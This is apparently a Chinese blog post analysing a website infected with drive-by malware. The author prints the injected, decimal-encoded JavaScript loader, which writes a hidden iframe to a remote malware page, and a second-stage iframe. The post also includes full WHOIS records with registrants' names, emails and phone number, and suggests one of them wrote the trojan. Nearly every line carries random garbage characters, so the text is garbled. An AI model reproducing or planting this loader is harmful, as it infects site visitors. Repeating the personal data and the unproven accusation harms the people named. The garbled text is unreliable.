首发在我的博客里面，
*U[yeE]. 1|MRXK http://www.areway.cn/?p=175 k8w\d+!v ' P?h?w^T al9wNtMT 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
)\akIA :-1|dE)U <script>t=’60,105,102,114,97,109,101,
ljKIxSvCFp 32,115,114,99,61,104,116,116,112,58,47,47,
a `R%\@1 102,114,101,101,46,117,45,117,117,117,46,99,
L.He BeO 110,47,101,114,114,111,114,46,104,116,109,
nq M7Is 32,119,105,100,116,104,61,49,48,48,32,104,
L^sjV/\oW 101,105,103,104,116,61,48,62,60,47,105,102,
oACAC+ CP 114,97,109,101,62′;
"h sT^sy t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
F` U~(>u' `6U!\D <script>t=’60,105,102,114,97,109,101,32,115,
` =>}*GS 114,99,61,104,116,116,112,58,47,47,102,114,
M1 3HD/~O 101,101,46,117,45,117,117,117,46,99,110,47,
|./mPV r 101,114,114,111,114,46,104,116,109,32,119,
p%Z :SZZ 105,100,116,104,61,49,48,48,32,104,101,105,
+=3=% %?C 103,104,116,61,48,62,60,47,105,102,114,97,
6X \g7bg 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
W;vNmg}mn document.write(t);</script>
;]dD\4_hK gQn%RPMh <html xmlns=”
1$ >+rW{a http://www.w3.org/1999/xhtml f<YYo “>
Q\$3l'W <head>
2d&F<J<sU <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
xlI =)ak{ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
VXeO }>2S <title>首页 - 爱生活家庭网
m y?Ly(# 'R 7 \ 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
aGD< #] 转换字符串后的大概内容是（谁点击后果自付）：
JVc{vSa!rm <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
jeC=s~ n:5M
E* 查询玉米u-uuu.cn的详细信息：
\Vyys[MMY8 Domain Name: u-uuu.cn
b#VtPn] ROID: 20070901s10001s64972306-cn
I 1Q!3P Domain Status: ok
Yuv i{ 0 Registrant Organization: 王雷
u^Q`xd1 Registrant Name: 王雷
vF72#BNs Administrative Email:
czlovexs@126.com 51|ky- Sponsoring Registrar: 北京万网志成科技有限公司
q/i2o[f'n Name Server:ns.yovole.com
5hrI#fpOR Name Server:ns1.yovole.com
MGg( d Registration Date: 2007-09-01 17:54
s)^/3 a Expiration Date: 2008-09-01 17:54
^b8~X [1J_ 最后PING了一下地址 都没有什么….
z(|^fi( W2vL< 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
?
#K |l* <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
WZ CI*' <script language=”javascript” src=”
9zp!lw~;+ http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ^6s im 2 >
8Y($ F2 这个玉米应该有可能是木马作者的：
]eL# bJ foafau.info的详细信息：
+ :MSY p Access to INFO WHOIS information is provided to assist persons in
oTw!#Re) determining the contents of a domain name registration record in the
-&Rv=q> Afilias registry database. The data in this record is provided by
o4Q?K .9c Afilias Limited for informational purposes only, and Afilias does not
\nl(tU#j guarantee its accuracy. This service is intended only for query-based
2b"*~O; access. You agree that you will use this data only for lawful purposes
sZ `Tv[ and that, under no circumstances will you use this data to: (a) allow,
?
wS}' enable, or otherwise support the transmission by e-mail, telephone, or
? x)^f+:9| facsimile of mass unsolicited, commercial advertising or solicitations
T+Oqd\05.+ to entities other than the data recipient’s own existing customers; or
t~Q 9} + (b) enable high volume, automated, electronic processes that send
W`>|OiuF queries or data to the systems of Registry Operator, a Registrar, or
u$nzpw0=H Afilias except as reasonably necessary to register domain names or
l<=;IMWd modify existing registrations. All rights reserved. Afilias reserves
{:X'9NEE the right to modify these terms at any time. By submitting this query,
O. * 0;5 you agree to abide by this policy.
x YS81 Domain ID:D22418703-LRMS
!<[+ u Domain Name:FOAFAU.INFO
g4?2'G5m? Created On:20-Nov-2007 16:05:42 UTC
bLc5$U$!I Last Updated On:20-Nov-2007 16:05:44 UTC
]2AOW}= Expiration Date:20-Nov-2008 16:05:42 UTC
i<QDV
W9 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
(NJ{> @& Status:CLIENT DELETE PROHIBITED
#6 M] tr Status:CLIENT RENEW PROHIBITED
THrLX;I Status:CLIENT TRANSFER PROHIBITED
]c(FgY c Status:CLIENT UPDATE PROHIBITED
|x}TpM;ni Status:TRANSFER PROHIBITED
M.}9)ho Registrant ID:GODA-040110615
2yN!y IPR Registrant Name:liu hong
-&/?&{Q0 Registrant Organization:
Iiy5;:CX:q Registrant Street1:beijing
1/dL-"*0 Registrant Street2:
-E-#@s Registrant Street3:
dX[I
:,z* Registrant City:beijing
Q' <AV1< Registrant State/Province:
, ZsZzZ# Registrant Postal Code:100000
6H#: rM Registrant Country:CN
Y\
[|k-6
Registrant Phone:+86.860108888777
w{ja*F6 Registrant Phone Ext.:
O& Y;/ $w Registrant FAX:
6-U_TV Registrant FAX Ext.:
}k-V ( Registrant Email:bbbshiji@163.com
mWviWHK Admin ID:GODA-240110615
>8Oa(9 n Admin Name:liu hong
@@Ib^sB% Admin Organization:
o "z()w~ Admin Street1:beijing
91R# /i Admin Street2:
%\'=Y/ yP Admin Street3:
{gD ED Admin City:beijing
gM 96RY Admin State/Province:
E ,i^rA m Admin Postal Code:100000
,,H5zmgA Admin Country:CN
lm`* x=x Admin Phone:+86.860108888777
L>Y+}]~ Admin Phone Ext.:
GQ(Y#HSq Admin FAX:
8h]
TI_ Admin FAX Ext.:
J/] %zwDwS Admin Email:bbbshiji@163.com
n_kwtWX ( Billing ID:GODA-340110615
/k.0gYD Billing Name:liu hong
yi$CkG} Billing Organization:
N{Sp-J> Billing Street1:beijing
80nE QT
y Billing Street2:
TQR5V\{&% Billing Street3:
rm-d ),Zt Billing City:beijing
c=sV"r? Billing State/Province:
* +
T(i Billing Postal Code:100000
VEps|d3,, Billing Country:CN
y ##h(y Billing Phone:+86.860108888777
^J^,@ Hf_ Billing Phone Ext.:
9p_?t'&>q Billing FAX:
')xOL = w Billing FAX Ext.:
oidZWy Billing Email:bbbshiji@163.com
Q<sqlh!h Tech ID:GODA-140110615
':.Hz]]/A Tech Name:liu hong
tLzLO#/n Tech Organization:
*fN+wiPD Tech Street1:beijing
:8b'HhjM Tech Street2:
\[9VeqMU Tech Street3:
7}iv+ rQ Tech City:beijing
A-Ba %Fv Tech State/Province:
/ WQ.,a Tech Postal Code:100000
Sz5t~U=G Tech Country:CN
2@ S}x@^ Tech Phone:+86.860108888777
%a/3*vz/I% Tech Phone Ext.:
qzW3MlD Tech FAX:
HXq']+iC Tech FAX Ext.:
t}+/GSwT Tech Email:bbbshiji@163.com
' i+L Name Server:NS27.DOMAINCONTROL.COM
ZvRa"j Name Server:NS28.DOMAINCONTROL.COM
G+dq
*/ Name Server:
O3 sV) Name Server:
eiK_JPF A- Name Server:
TOwqr T/ Name Server:
U F"%FF Name Server:
tSHW" R Name Server:
sK2N3 B&6 Name Server:
zQ,rw[C"W Name Server:
{/QVs?d Name Server:
Tpl]\L1v- Name Server:
;UQza ]i Name Server:
+byOThuE
8lusKww 接着下载每个文件里面的代码：
=x<N+vjXY 一步一步看..
s%:fZ7y 
5Zq
hyv= 
XPd mz !,b 
I=dG(?#7% 
W3le)& 
V\`Z|'WIQD 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
